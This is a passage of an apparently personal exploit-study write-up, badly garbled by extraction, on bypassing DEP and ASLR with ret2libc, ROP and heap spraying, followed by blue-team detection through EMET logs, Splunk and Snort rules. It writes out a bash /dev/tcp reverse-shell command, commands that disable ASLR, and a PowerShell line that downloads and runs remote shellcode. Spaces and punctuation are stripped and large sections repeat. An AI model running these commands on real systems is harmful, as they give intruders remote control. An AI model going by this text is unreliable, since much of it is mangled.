So if stack execution is enabled wersquod expect that an attempt to execute from the stack will result in a terminated process and the cpu
will throw a segmentation fault In the return to lib C method instead of overwriting EIP with a JUMP ESP instruction like this PoC you
overwritetheInstructionPointerwithfunctionsfromwithinlibclibrary
arguments Another thing I learned is that libC is not required however it is just the most likely available and most common target in
linux In a libC example I found it was as simple as finding the memory location for system() and calling binbash which was executable
in memory As a counter defense some folks remove functions from libraries that can result in this type of chained execution Another
option which does not rely on calls to external executable functions is Return Object Programming or ROP chaining As mentioned in
the video your exploit must make use of instruction sequences available in the program yoursquore attacking or libraries linked to the
application aka ldquorop gadgetsrdquo When reading about ROP gadget I came across a line that explained there are intended sequences of
instructions and unintended sequences of instructions Hmmmmm why Because misspelling copy and pasting code hellip nope
somethingmoretrvialIrsquollre-usethisquotebecauseitwasafunpuzzle
ldquoWhat Unintended how come well if you look at a sentence like ldquothe articlerdquo the writer intended to say ldquothe articlerdquo but he didnrsquot
intendtohavethewordldquoheartrdquodidherdquo
Basically the instructions wersquore looking for end in RET aka ldquoReturnrdquo You chain a bunch of these assembly instructions together in your
payload until you get a command that can perform similar execution to the malware we used in our simple PoC You can find ROP
gadgets with the following in Immunity Debugger mona rop -m dll -cp nonull or in linux you can try simple text search for RET
instructionorROPgadgetToolonGithHuborVNsecuritycalledROPemeandorprocpidmaps
An example used in a linked exploit-db article is chaining a bunch of ROP gadgets together to basically execute
ldquoexecve(ldquobinshrdquo00)rdquo Execve executes the program pointed to by filename filename must be either a binary executable or a script
which in our case would be something like a variable equal to our reverse shell command binsh -i gtamp devtcp1270014444 0gtamp1
But when Windows or Linux has ASLR enabled libraries those binaries will have a randomized virtual memory space so it makes it
difficulttocallexecve()orsystem()
Another technique to bypass DEP makes use of native API that can change the execution flag on your memory spaces Examples Irsquove
found include VirtualAlloc HeapCreateVirtualProtect APIs If you can call upon these functions then you may be able to either create
a new executable space or change the flag for existing executable space However finding the memory addresses to these functions
andcallingthemappearstobeadifferentstory
httpsgithubcomJonathanSalwanROPgadget
httpswwwrapid7comresourcesrop-exploit-explained
httpswwwexploit-dbcomdocsenglish17131-linux-exploit-development-part-3---ret2libcpdf
httpswwwexploit-dbcomdocsenglish28479-return-oriented-programming-(rop-ftw)pdf
httpswwwexploit-dbcomdocsenglish44090-zero-day-zen-garden-windows-exploit-development---part-5-[return-oriented-programmi
ng-chains]pdf
ASLR(Addressspacelayoutrandomization)
Inourexampleyoumayhavenoticedthatwecoulddirectlypullamemoryaddressandre-usethataddressinorubufferoverflowPoCThisisbecausewedisabledASLRviaLinuxecho0|sudoteeprocsyskernelrandomize_va_spaceWindows[HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlSessionManagerMemoryManagement]ldquoMoveImagesrdquo=dword00000000Addressspacelayoutrandomization(ASLR)isamechanisminvolvedinreducingreliabilityofexploitationviamemorycorruptionattacksliketheBufferOverflowinthisPoCInourPoCyoumayhavenoticedwepulledthehardwarememorylocationsofourbinariesandthenpointedbacktothosehardwarememorylocationsIfyoucanobscurethosememorylocationssuchthatpredictingthemisincreasinglydifficultthenthebarrierentryinexploitwritingandexecutionbecomesharderForexampleweusedJMPESPmemorylocationtoslidebackintoourNOPSLEDASLRwouldrandomlyarrangesthevirtualmemoryaddressspacepositionsofkeydataareasofaprocessincludingthebaseoftheexecutableandthepositionsofthestackheapandlibrarieswhentheythebinaryisloadedIfwewanttojumpintoaROPgadgetorcallnativeAPIrsquosandDLLshowwouldwedoitifwecanrsquotaccuratelyupdatearegistrypointerwiththememorylocation
BypassingASLR
Admittedly this is a very deep rabbit hole Most write-ups and video tutorials require an expert level knowledge of assembly and
windowslinux software architecture beyond what I intended this write-up for Irsquoll do my best to boil what Irsquove learned down into digestible
chunksandhopefullythishelpsguidemyselfandotherfurtherstudies
NonASLRlinkedbinaries
It seems like that as Windows and Linux made the transition to ASLR in the early 2000rsquos that about a decade later they were left with
some non ASLR binaries for cross compatibility It could even be that some custom application you downloaded ported over something
that is specifically ASLR disabled I found an example of this in the following two articles hellip Attacking specific functions within non ASLR
enabled binaries appears to be an early method where if we could find a ldquouniversalrdquo DLL in windows or linux we may be able to call the
memory address of JMP ESP or ROP GADGET or similar from there The point is a combination of an insecure ASLR enabled program
with access or links to a non ASLR binary results in access instructions and predictable memory locations that can be used to bypass
ASLRandbeginaROPattack
httpswwwexploit-dbcomdocsenglish17504-defeating-data-execution-prevention-and-aslr-in-windows-xp-sp3pdf
httpswwwexploit-dbcomdocsenglish17914-bypassing-aslrdeppdf
PointerLeaksDanglingPointers
If you dig deep enough yoursquoll find some mention of modern attacks using dangling pointers or pointer leakers to bypass ASLR This isnrsquot
for the faint of heart and probably not for a newcomer like myself but I like rabbit holes A dangling pointer bug can be used to put code
into an application An object put into memory is allocated a space in heap and object functions are typically managed via a VFTABLE
which creates virtual pointers which reference the actual object in HEAP My understanding is that if you can overwrite the memory
object in HEAP with exact procesion at the exact time after it has be de-allocated from memory but before it has been destructed that
the object space can be overwritten with malicious code This is due to how allocation of heap is managed de-allocated freed and how
virtualfunctionsarereferencedviavirtualtables
httpswwwblackhatcompresentationsbh-usa-07AfekWhitepaperbh-usa-07-afek-WPpdf
httpswwwowasporgimagesffaOWASP_IL_8_Dangling_Pointerpdf
httpswwwrapid7comresourceswhy-you-should-be-using-emet
HEAPSprayswithASLRdisabledVirtualAlloc()inWindows
If you canrsquot find memory location of instructions in ASLR protected binaries and libraries it appears you can spray the heap and create
write chunks to memory of NOPs and malware You would likely still need to bypass DEP so ROP chains still apply however you can
either look for non ASLR binary to ROP or spray ROP gadgets in the blocks passed to HEAP Spraying Heap with memory allocated by
VirtualAlloc() appears to have been a successful method by bypass ASLR because VirtualAlloc() was not ASLR protected but this
seemslikejustplainluck
httpswwwcorelanbeindexphp20111231exploit-writing-tutorial-part-11-heap-spraying-demystified
httpswwwblackhatcompresentationsbh-europe-07SotirovPresentationbh-eu-07-sotirov-apr19pdf
BlueteamEngineeringforpostBufferOverflow
For my own general curiosity I wanted to end this PoC with some notes on how detect a Buffer Overflow attack My intent is to just
learn and see where it takes me As a newcomer maybe this will help paint a better picture of cyber-security as a whole Because BOrsquos
are memory attacks it can be difficult to detect unless you have a low level program monitoring for Canary issues NX issues
SEGVFAULT x90rsquos ROPs etc Windows has offered EMET historically and more recently offered an IPSIDS in Windows Defender to
Enterprise There are also some ldquoNext Genrdquo IDSIPS that install in kernel space which have the logic to look for such events As I
thoughtthroughthisIlumpedthedetectionintotwobuckets
1 DetectingFailedBufferOverflowAttempts
2 DetectingSuccessfullyBufferOverflowAttempts
DetectingFailedBufferOverAttemptsinWindows
If you want to hunt attackers who attempt buffer overflow you can turn to the logs For examples EMET (Windows ASLRDEP) events
are logged as a Windows event source called EMET More modern Windows Defender Exploit Guard follows a similar pattern as the
oneIrsquomgoingtooutlineEMETDefenderlogscanbefoundintheWindowsApplicationlog
For EMET there are three levels Information Warning and Error Information messages are used for logging usual operation such as
the EMET Notifier starting Warning messages are used when EMET settings change Error messages are used for logging cases
whereEMETstoppedanapplicationwithoneofitsmitigationswhichmeansanactiveattackhasbeenblocked
EMET and Defender logs can be sent to a central log collection server or from the local machine Irsquoll refer to an example where their
sent to a central log collector parsed then sent onto your SIEM Here is a brief example of an a SPLUNK integration on Windows but a
similarmodelcouldbedeployedwithSyslogSyslogServersandanELKStackactingasaSIEM
Yoursquoll need to ensure your local endpoints are configured to log EMET via GPO Windows Event Collector service is enabled and a
collection server is deployed Here is an example of a local local log policy setting to push down to the endpoints being monitored via
GPOetc
ltQueryListgt
ltQueryId=0Path=Applicationgt
ltSelectPath=Applicationgt[System[Provider[Name=EMET]and(Level=2)]]ltSelectgt
ltQuerygt
ltQueryListgt
To analyze the EMET data in Splunk yoursquoll need to install the Splunk Universal Forwarder on the central log collection server and
configure it to send logs from the collectorsyslog server to a Splunk indexer Splunk Indexer is just a fancy way to say a network service
to send your logs to which has some special logic to parser filter transform and write your logs in a unique format to Splunk based on
somepredefinedSplunkpolicy
Yoursquoll may need to set a filter on the central log server to parse the events for the EMET alerts before sending them on Below is an
exampleoftheWindowseventssubscriptionfilterRememberthedefaultlocationofforwardedlogeventsistheForwardedEventslog
The following is a Splunk sample configurations that can be used in the Splunk inputsconf file on the central log collection server
BasicallythispolicysayswhichlogscangetsentontotheSIEM
[WinEventLogForwardedEvents]
disabled=0
renderXml=1
evt_resolve_ad_obj=1
The above policy config tells the Splunk Universal Forwarder to monitor the Forwarded Events log on the log collection server and to
and send the events in XML format allows for facilitated extraction of information in Splunk to aid in the creation of useful Splunk
queries
SampleEMETEvent
EMETversion55587131892
EMETdetectedEAF+mitigationandwillclosetheapplicationIEXPLOREEXE
EAF+checkfailed
ApplicationCProgramFiles(x86)InternetExplorerIEXPLOREEXE
UserNameDOMAINuser
SessionID1
PID0x1348(4936)
TID0xF90(3984)
ModuleSOMEDLLdll
ModBase0x11630000
ModAddress0x11642E99
MemAddress0x76F501A4
Your Blue Team can configure an alert based on these results Consider correlating the alert with internal ranking of the assets value to
prioritize the response For example an alert like this on a PCI system or system storing your unreleased Intellectual Property may
need immediate action compared to a non production server being pen tested Although a non production server sounds like a nice
beachheadtomaintainafoothold
httpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdf
httpsblogstechnetmicrosoftcomthedutchguy20170124windows-event-forwarding-to-a-workgroup-collector-server
DetectingSuccessfulBufferOverAttempts
The Blue Team philosophy is to assume your compromise and look for Indicators of Compromise In this model we assume the attacker
has successfully launched a buffer overflow and gained command and control over the asset Which means our mitigations have failed
which they will In my mind there are two techniques Irsquod lie to cover Irsquom sure there are more but as a newcomer I think these two
approachespaintsasolidpicture
1) Networkbasedsignaturedetection(Thismayalsocatchunsuccessfulattempts)
2) Hostbasedsignaturedetection
NetworkBasedDetection
Letrsquos consider the basic reverse shell we created with MSFVENOM from metasploit and packched into our malware variable in the
clientpyscriptWhenthisattackoccursithasafewuniquecharacteristicsinsidethenetworkcommunication
1 EncodedHEXpayloadmalwarewithintheclientattack
2 Abunchofx90rsquoswithintheclientattack
3 possiblybinbashorotheruniquestringssentbackinthereverseshellasSTIOtotheattackersterminal
If you had an inline or passive IDS which had access to the buffer overflow network packets a Blue Teams will likely have
SNORTSURICATA rules which alert on signatures that match our payload This is because the commands to gain a reverse shell from
bash sh python etc are universally known Irsquove included a few examples of emerging shell_code SNORT rules that look for metasploit
generatedBSDshellcode
alert ip $EXTERNAL_NET any -gt $HOME_NET any (msgET SHELLCODE METASPLOIT BSD Reverse shell (Not Encoded 2)
content|6a 61 58 99 52 42 52 42 52 68| fast_patternonly referenceurldocemergingthreatsnet2010416
classtypeshellcode-detect sid2010416 rev4 metadataaffected_product Any attack_target Client_and_Server deployment
Perimeter deployment Internet deployment Internal deployment Datacenter tag Metasploit signature_severity Critical created_at
2010_07_30updated_at2016_07_01)
alert ip $EXTERNAL_NET any -gt $HOME_NET any (msgET SHELLCODE METASPLOIT BSD Reverse shell (Not Encoded 3)
content|89 e1 6a 10 51 50 51 97 6a 62 58 cd 80 6a 02 59 b0 5a 51 57| fast_patternonly
referenceurldocemergingthreatsnet2010417 classtypeshellcode-detect sid2010417 rev4 metadataaffected_product Any
attack_target Client_and_Server deployment Perimeter deployment Internet deployment Internal deployment Datacenter tag
Metasploitsignature_severityCriticalcreated_at2010_07_30updated_at2016_07_01)
Modern attacks occur over TLSSSL over tcp communications these days which means detecting our payload would be difficult to nearly
impossible Blue-teams may counter encrypted communication with TLS interception and packet inspection To further evade TLS
interception crypters encoders custom encoded code or polymorphic code would need to be written Irsquove even heard of padding the
payloadsolargethattherulesareignoredduetoperformanceaswellSneaky
HostBasedDetection
In this model you assume the target has already been breached Maybe EMET was disabled or the attack was highly sophisticated and
made it past your defenses Whatever the case the attacker now has command and control over your machine thanks to a Buffer
OverflowLuckilyattackerpatternsofbehaviorarerelativelypredictableWhatdoesthatmean
Consideriftheactivedirectorylogsshowdirectoryenumerationssuchas
netviewdomain
netuserdomain
netaccountsdomain
Considerifthelocalhostlogsshowlocalaseriesofenumerationscommandssuchas
systeminfo
netlocalgroupldquoAdministratorsrdquo
uname-a
catprocissue
Considermoreadvancedpost-exploitattemptstobypassdetectionviaPowerShell
start-Process -FilePath nssmexe -ArgumentList lsquoinstall MaliciousService ldquoCWindowsSystem32WindowsPowerShellv10powershellexerdquo ldquo-command ldquoamp CScriptsMonitorps1 Start-Monitoring rdquordquo lsquo -NoNewWindow-Wait
powershellexe-execbypassndashnoprofilendashciex(New-ObjectNetWebClient)DownloadString
(http10022108081CodeExecutionInvoke-Shellcodeps1)
Similar to the EMET example local logs can be sent via Windows Collectors andor Syslog and forwarded to your SIEM For PowerShell attack Windows has added additional logging capabilities to memory based powershell execution but if the logs are disabled or omitted then detection may be thwarted Irsquove overly simplified a highly sophisticated topic but the point to drive home is that you assume a zero-daywillsucceedandlookforIoCrsquosthatshowenumerationprivilegeescalationetcetc
ENJOY
ReferencesandHonorableMentions
GeneralReferencehttpsenwikipediaorgwikiAddress_space_layout_randomizationhttpsenwikipediaorgwikiExecutable_space_protectionWindowshttpsenwikipediaorgwikiReturn-oriented_programminghttpsenwikipediaorgwikiJust-in-time_compilationhttpsenwikipediaorgwikiHeap_sprayinghttpsenwikipediaorgwikiDangling_pointerSecurity_holes_involving_dangling_pointersTechnicalResourceshttpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdfhttpsmindmajixcomsplunkmonitor-windows-event-log-datahttpsgithubcomjpalancoalienvault-ossimblobmastersnort-rules-default-openrules290emergingrulesemerging-shellcoderuleshttpswwwsplunkcomblog20170706hellsbells-lets-hunt-powershellshtmlhttpssciencerpieducomputer-sciencehttpresearchcswiscedumistpresentationskupsch_miller_secse08pdf
httpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdfhttpsblogstechnetmicrosoftcomthedutchguy20170124windows-event-forwarding-to-a-workgroup-collector-serverhttpsgithubcomJonathanSalwanROPgadgethttpswwwrapid7comresourcesrop-exploit-explainedhttpswwwexploit-dbcomdocsenglish17131-linux-exploit-development-part-3---ret2libcpdfhttpswwwexploit-dbcomdocsenglish28479-return-oriented-programming-(rop-ftw)pdfhttpswwwexploit-dbcomdocsenglish44090-zero-day-zen-garden-windows-exploit-development---part-5-[return-oriented-programming-chains]pdfhttpswwwexploit-dbcomdocsenglish17504-defeating-data-execution-prevention-and-aslr-in-windows-xp-sp3pdfhttpswwwexploit-dbcomdocsenglish17914-bypassing-aslrdeppdfhttpswwwblackhatcompresentationsbh-usa-07AfekWhitepaperbh-usa-07-afek-WPpdfhttpswwwowasporgimagesffaOWASP_IL_8_Dangling_Pointerpdfhttpswwwrapid7comresourceswhy-you-should-be-using-emethttpswwwcorelanbeindexphp20111231exploit-writing-tutorial-part-11-heap-spraying-demystifiedhttpswwwblackhatcompresentationsbh-europe-07SotirovPresentationbh-eu-07-sotirov-apr19pdfComputerphilevideosandtheirAuthorsProgrammingandSoftwareArchitecturehttpswwwseasupennedu~cit595cit595s10contentshtmlhttpswwwlearn-corghttpsgodboltorgLinuxManPagesandtheirAuthors
Canary
A less useful protections involves a method called a stack canary protections A stack canary work by modifying every functions
prologue and epilogue regions to assign a special ldquoCanaryrdquo character and check if the canary value is on the stack If not the canary
ldquosingsrdquo to warn you lol An example is The Stack Smashing Protector (SSP) compiler feature which according to their website helps
detect stack buffer overrun by aborting if a secret value on the stack is changed SSP even admits that if an attacker can properly
overwriteorjumpacanaryinstructionitispossibletobypasstheprotectionHereareafewresourcesIrsquovestartedwith
https0x00secorgtexploit-mitigation-techniques-stack-canaries5085
httpswwwrapid7comresourcesstructured-exception-handler-overwrite-explained
httpswwwexploit-dbcomdocsenglish17505-structured-exception-handler-exploitationpdf
DEP-DataExecutionProtection
DEP or executable-space protection specifically flags some memory regions as non-executable The intent is that when malware
executes the machine code in the protected regions it will cause an execution exception Flagging the memory regions and registers as
non-executablemeanstheattackerscodecannotberunUltimatelythismakesithardertoachieveofbufferoverruns
For example according the Linux man page on execstack ldquoexecstack is a program which sets clears or queries executable stack flag
of ELF binaries and shared librariesrdquo Another note your compiled binaries could be flagged with a no execution bit (NX) while other
linked libraries may still have executable stacks This is where problems arise -fno-stack-protectactor disables stack overflow
security checks for certain (or all) routines When option -fstack-protector-strong is specified it enables stack overflow security checks
forroutineswithanytypeofbuffer
In modern Windows software DEP is configured at system boot via a policy setting in the boot configuration data An application can get
the current policy setting by calling the GetSystemDEPPolicy function Hardware DEP is typically enabled by default in at the
bootloader but can be disabled with physical access Depending on the policy setting an User-Land application can change the DEP
setting for the current process by calling the SetProcessDEPPolicy function Allowing user-land changes is where developers may
introduceunprotectedcompiledbinariesThefollowinglinksareexamplesofhowtoimplementDEP
httpslwnnetArticles422487
httpslinuxdienetman8execstack
httpssupportmicrosoftcomen-ushelp875352a-detailed-description-of-the-data-execution-prevention-dep-feature-in
httpssupportmicrosoftcomen-ushelp912923how-to-determine-that-hardware-dep-is-available-and-configured-on-your
httpsdocsmicrosoftcomen-uswindows-hardwaredriversdevtestboot-parameters-to-configure-dep-and-pae
BypassingDEP
Bypassing DEP and NX requires a method called Return-Oriented Programming My first introduction to this concept was thanks to
David Maloney Sr Security Researcher at Rapid7 who had a great youtube video online that covered the concept at 1000 feet view
ThevideofirstmentionsamethoddevelopedgoingtoreturntolibcandthendiscussesReturnObjectProgrammingorROPchaining
So if stack execution is enabled wersquod expect that an attempt to execute from the stack will result in a terminated process and the cpu
will throw a segmentation fault In the return to lib C method instead of overwriting EIP with a JUMP ESP instruction like this PoC you
overwritetheInstructionPointerwithfunctionsfromwithinlibclibrary
arguments Another thing I learned is that libC is not required however it is just the most likely available and most common target in
linux In a libC example I found it was as simple as finding the memory location for system() and calling binbash which was executable
in memory As a counter defense some folks remove functions from libraries that can result in this type of chained execution Another
option which does not rely on calls to external executable functions is Return Object Programming or ROP chaining As mentioned in
the video your exploit must make use of instruction sequences available in the program yoursquore attacking or libraries linked to the
application aka ldquorop gadgetsrdquo When reading about ROP gadget I came across a line that explained there are intended sequences of
instructions and unintended sequences of instructions Hmmmmm why Because misspelling copy and pasting code hellip nope
somethingmoretrvialIrsquollre-usethisquotebecauseitwasafunpuzzle
ldquoWhat Unintended how come well if you look at a sentence like ldquothe articlerdquo the writer intended to say ldquothe articlerdquo but he didnrsquot
intendtohavethewordldquoheartrdquodidherdquo
Basically the instructions wersquore looking for end in RET aka ldquoReturnrdquo You chain a bunch of these assembly instructions together in your
payload until you get a command that can perform similar execution to the malware we used in our simple PoC You can find ROP
gadgets with the following in Immunity Debugger mona rop -m dll -cp nonull or in linux you can try simple text search for RET
instructionorROPgadgetToolonGithHuborVNsecuritycalledROPemeandorprocpidmaps
An example used in a linked exploit-db article is chaining a bunch of ROP gadgets together to basically execute
ldquoexecve(ldquobinshrdquo00)rdquo Execve executes the program pointed to by filename filename must be either a binary executable or a script
which in our case would be something like a variable equal to our reverse shell command binsh -i gtamp devtcp1270014444 0gtamp1
But when Windows or Linux has ASLR enabled libraries those binaries will have a randomized virtual memory space so it makes it
difficulttocallexecve()orsystem()
Another technique to bypass DEP makes use of native API that can change the execution flag on your memory spaces Examples Irsquove
found include VirtualAlloc HeapCreateVirtualProtect APIs If you can call upon these functions then you may be able to either create
a new executable space or change the flag for existing executable space However finding the memory addresses to these functions
andcallingthemappearstobeadifferentstory
httpsgithubcomJonathanSalwanROPgadget
httpswwwrapid7comresourcesrop-exploit-explained
httpswwwexploit-dbcomdocsenglish17131-linux-exploit-development-part-3---ret2libcpdf
httpswwwexploit-dbcomdocsenglish28479-return-oriented-programming-(rop-ftw)pdf
httpswwwexploit-dbcomdocsenglish44090-zero-day-zen-garden-windows-exploit-development---part-5-[return-oriented-programmi
ng-chains]pdf
ASLR(Addressspacelayoutrandomization)
Inourexampleyoumayhavenoticedthatwecoulddirectlypullamemoryaddressandre-usethataddressinorubufferoverflowPoCThisisbecausewedisabledASLRviaLinuxecho0|sudoteeprocsyskernelrandomize_va_spaceWindows[HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlSessionManagerMemoryManagement]ldquoMoveImagesrdquo=dword00000000Addressspacelayoutrandomization(ASLR)isamechanisminvolvedinreducingreliabilityofexploitationviamemorycorruptionattacksliketheBufferOverflowinthisPoCInourPoCyoumayhavenoticedwepulledthehardwarememorylocationsofourbinariesandthenpointedbacktothosehardwarememorylocationsIfyoucanobscurethosememorylocationssuchthatpredictingthemisincreasinglydifficultthenthebarrierentryinexploitwritingandexecutionbecomesharderForexampleweusedJMPESPmemorylocationtoslidebackintoourNOPSLEDASLRwouldrandomlyarrangesthevirtualmemoryaddressspacepositionsofkeydataareasofaprocessincludingthebaseoftheexecutableandthepositionsofthestackheapandlibrarieswhentheythebinaryisloadedIfwewanttojumpintoaROPgadgetorcallnativeAPIrsquosandDLLshowwouldwedoitifwecanrsquotaccuratelyupdatearegistrypointerwiththememorylocation
BypassingASLR
Admittedly this is a very deep rabbit hole Most write-ups and video tutorials require an expert level knowledge of assembly and
windowslinux software architecture beyond what I intended this write-up for Irsquoll do my best to boil what Irsquove learned down into digestible
chunksandhopefullythishelpsguidemyselfandotherfurtherstudies
NonASLRlinkedbinaries
It seems like that as Windows and Linux made the transition to ASLR in the early 2000rsquos that about a decade later they were left with
some non ASLR binaries for cross compatibility It could even be that some custom application you downloaded ported over something
that is specifically ASLR disabled I found an example of this in the following two articles hellip Attacking specific functions within non ASLR
enabled binaries appears to be an early method where if we could find a ldquouniversalrdquo DLL in windows or linux we may be able to call the
memory address of JMP ESP or ROP GADGET or similar from there The point is a combination of an insecure ASLR enabled program
with access or links to a non ASLR binary results in access instructions and predictable memory locations that can be used to bypass
ASLRandbeginaROPattack
httpswwwexploit-dbcomdocsenglish17504-defeating-data-execution-prevention-and-aslr-in-windows-xp-sp3pdf
httpswwwexploit-dbcomdocsenglish17914-bypassing-aslrdeppdf
PointerLeaksDanglingPointers
If you dig deep enough yoursquoll find some mention of modern attacks using dangling pointers or pointer leakers to bypass ASLR This isnrsquot
for the faint of heart and probably not for a newcomer like myself but I like rabbit holes A dangling pointer bug can be used to put code
into an application An object put into memory is allocated a space in heap and object functions are typically managed via a VFTABLE
which creates virtual pointers which reference the actual object in HEAP My understanding is that if you can overwrite the memory
object in HEAP with exact procesion at the exact time after it has be de-allocated from memory but before it has been destructed that
the object space can be overwritten with malicious code This is due to how allocation of heap is managed de-allocated freed and how
virtualfunctionsarereferencedviavirtualtables
httpswwwblackhatcompresentationsbh-usa-07AfekWhitepaperbh-usa-07-afek-WPpdf
httpswwwowasporgimagesffaOWASP_IL_8_Dangling_Pointerpdf
httpswwwrapid7comresourceswhy-you-should-be-using-emet
HEAPSprayswithASLRdisabledVirtualAlloc()inWindows
If you canrsquot find memory location of instructions in ASLR protected binaries and libraries it appears you can spray the heap and create
write chunks to memory of NOPs and malware You would likely still need to bypass DEP so ROP chains still apply however you can
either look for non ASLR binary to ROP or spray ROP gadgets in the blocks passed to HEAP Spraying Heap with memory allocated by
VirtualAlloc() appears to have been a successful method by bypass ASLR because VirtualAlloc() was not ASLR protected but this
seemslikejustplainluck
httpswwwcorelanbeindexphp20111231exploit-writing-tutorial-part-11-heap-spraying-demystified
httpswwwblackhatcompresentationsbh-europe-07SotirovPresentationbh-eu-07-sotirov-apr19pdf
BlueteamEngineeringforpostBufferOverflow
For my own general curiosity I wanted to end this PoC with some notes on how detect a Buffer Overflow attack My intent is to just
learn and see where it takes me As a newcomer maybe this will help paint a better picture of cyber-security as a whole Because BOrsquos
are memory attacks it can be difficult to detect unless you have a low level program monitoring for Canary issues NX issues
SEGVFAULT x90rsquos ROPs etc Windows has offered EMET historically and more recently offered an IPSIDS in Windows Defender to
Enterprise There are also some ldquoNext Genrdquo IDSIPS that install in kernel space which have the logic to look for such events As I
thoughtthroughthisIlumpedthedetectionintotwobuckets
1 DetectingFailedBufferOverflowAttempts
2 DetectingSuccessfullyBufferOverflowAttempts
DetectingFailedBufferOverAttemptsinWindows
If you want to hunt attackers who attempt buffer overflow you can turn to the logs For examples EMET (Windows ASLRDEP) events
are logged as a Windows event source called EMET More modern Windows Defender Exploit Guard follows a similar pattern as the
oneIrsquomgoingtooutlineEMETDefenderlogscanbefoundintheWindowsApplicationlog
For EMET there are three levels Information Warning and Error Information messages are used for logging usual operation such as
the EMET Notifier starting Warning messages are used when EMET settings change Error messages are used for logging cases
whereEMETstoppedanapplicationwithoneofitsmitigationswhichmeansanactiveattackhasbeenblocked
EMET and Defender logs can be sent to a central log collection server or from the local machine Irsquoll refer to an example where their
sent to a central log collector parsed then sent onto your SIEM Here is a brief example of an a SPLUNK integration on Windows but a
similarmodelcouldbedeployedwithSyslogSyslogServersandanELKStackactingasaSIEM
Yoursquoll need to ensure your local endpoints are configured to log EMET via GPO Windows Event Collector service is enabled and a
collection server is deployed Here is an example of a local local log policy setting to push down to the endpoints being monitored via
GPOetc
ltQueryListgt
ltQueryId=0Path=Applicationgt
ltSelectPath=Applicationgt[System[Provider[Name=EMET]and(Level=2)]]ltSelectgt
ltQuerygt
ltQueryListgt
To analyze the EMET data in Splunk yoursquoll need to install the Splunk Universal Forwarder on the central log collection server and
configure it to send logs from the collectorsyslog server to a Splunk indexer Splunk Indexer is just a fancy way to say a network service
to send your logs to which has some special logic to parser filter transform and write your logs in a unique format to Splunk based on
somepredefinedSplunkpolicy
Yoursquoll may need to set a filter on the central log server to parse the events for the EMET alerts before sending them on Below is an
exampleoftheWindowseventssubscriptionfilterRememberthedefaultlocationofforwardedlogeventsistheForwardedEventslog
The following is a Splunk sample configurations that can be used in the Splunk inputsconf file on the central log collection server
BasicallythispolicysayswhichlogscangetsentontotheSIEM
[WinEventLogForwardedEvents]
disabled=0
renderXml=1
evt_resolve_ad_obj=1
The above policy config tells the Splunk Universal Forwarder to monitor the Forwarded Events log on the log collection server and to
and send the events in XML format allows for facilitated extraction of information in Splunk to aid in the creation of useful Splunk
queries
SampleEMETEvent
EMETversion55587131892
EMETdetectedEAF+mitigationandwillclosetheapplicationIEXPLOREEXE
EAF+checkfailed
ApplicationCProgramFiles(x86)InternetExplorerIEXPLOREEXE
UserNameDOMAINuser
SessionID1
PID0x1348(4936)
TID0xF90(3984)
ModuleSOMEDLLdll
ModBase0x11630000
ModAddress0x11642E99
MemAddress0x76F501A4
Your Blue Team can configure an alert based on these results Consider correlating the alert with internal ranking of the assets value to
prioritize the response For example an alert like this on a PCI system or system storing your unreleased Intellectual Property may
need immediate action compared to a non production server being pen tested Although a non production server sounds like a nice
beachheadtomaintainafoothold
httpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdf
httpsblogstechnetmicrosoftcomthedutchguy20170124windows-event-forwarding-to-a-workgroup-collector-server
DetectingSuccessfulBufferOverAttempts
The Blue Team philosophy is to assume your compromise and look for Indicators of Compromise In this model we assume the attacker
has successfully launched a buffer overflow and gained command and control over the asset Which means our mitigations have failed
which they will In my mind there are two techniques Irsquod lie to cover Irsquom sure there are more but as a newcomer I think these two
approachespaintsasolidpicture
1) Networkbasedsignaturedetection(Thismayalsocatchunsuccessfulattempts)
2) Hostbasedsignaturedetection
NetworkBasedDetection
Letrsquos consider the basic reverse shell we created with MSFVENOM from metasploit and packched into our malware variable in the
clientpyscriptWhenthisattackoccursithasafewuniquecharacteristicsinsidethenetworkcommunication
1 EncodedHEXpayloadmalwarewithintheclientattack
2 Abunchofx90rsquoswithintheclientattack
3 possiblybinbashorotheruniquestringssentbackinthereverseshellasSTIOtotheattackersterminal
If you had an inline or passive IDS which had access to the buffer overflow network packets a Blue Teams will likely have
SNORTSURICATA rules which alert on signatures that match our payload This is because the commands to gain a reverse shell from
bash sh python etc are universally known Irsquove included a few examples of emerging shell_code SNORT rules that look for metasploit
generatedBSDshellcode
alert ip $EXTERNAL_NET any -gt $HOME_NET any (msgET SHELLCODE METASPLOIT BSD Reverse shell (Not Encoded 2)
content|6a 61 58 99 52 42 52 42 52 68| fast_patternonly referenceurldocemergingthreatsnet2010416
classtypeshellcode-detect sid2010416 rev4 metadataaffected_product Any attack_target Client_and_Server deployment
Perimeter deployment Internet deployment Internal deployment Datacenter tag Metasploit signature_severity Critical created_at
2010_07_30updated_at2016_07_01)
alert ip $EXTERNAL_NET any -gt $HOME_NET any (msgET SHELLCODE METASPLOIT BSD Reverse shell (Not Encoded 3)
content|89 e1 6a 10 51 50 51 97 6a 62 58 cd 80 6a 02 59 b0 5a 51 57| fast_patternonly
referenceurldocemergingthreatsnet2010417 classtypeshellcode-detect sid2010417 rev4 metadataaffected_product Any
attack_target Client_and_Server deployment Perimeter deployment Internet deployment Internal deployment Datacenter tag
Metasploitsignature_severityCriticalcreated_at2010_07_30updated_at2016_07_01)
Modern attacks occur over TLSSSL over tcp communications these days which means detecting our payload would be difficult to nearly
impossible Blue-teams may counter encrypted communication with TLS interception and packet inspection To further evade TLS
interception crypters encoders custom encoded code or polymorphic code would need to be written Irsquove even heard of padding the
payloadsolargethattherulesareignoredduetoperformanceaswellSneaky
HostBasedDetection
In this model you assume the target has already been breached Maybe EMET was disabled or the attack was highly sophisticated and
made it past your defenses Whatever the case the attacker now has command and control over your machine thanks to a Buffer
OverflowLuckilyattackerpatternsofbehaviorarerelativelypredictableWhatdoesthatmean
Consideriftheactivedirectorylogsshowdirectoryenumerationssuchas
netviewdomain
netuserdomain
netaccountsdomain
Considerifthelocalhostlogsshowlocalaseriesofenumerationscommandssuchas
systeminfo
netlocalgroupldquoAdministratorsrdquo
uname-a
catprocissue
Considermoreadvancedpost-exploitattemptstobypassdetectionviaPowerShell
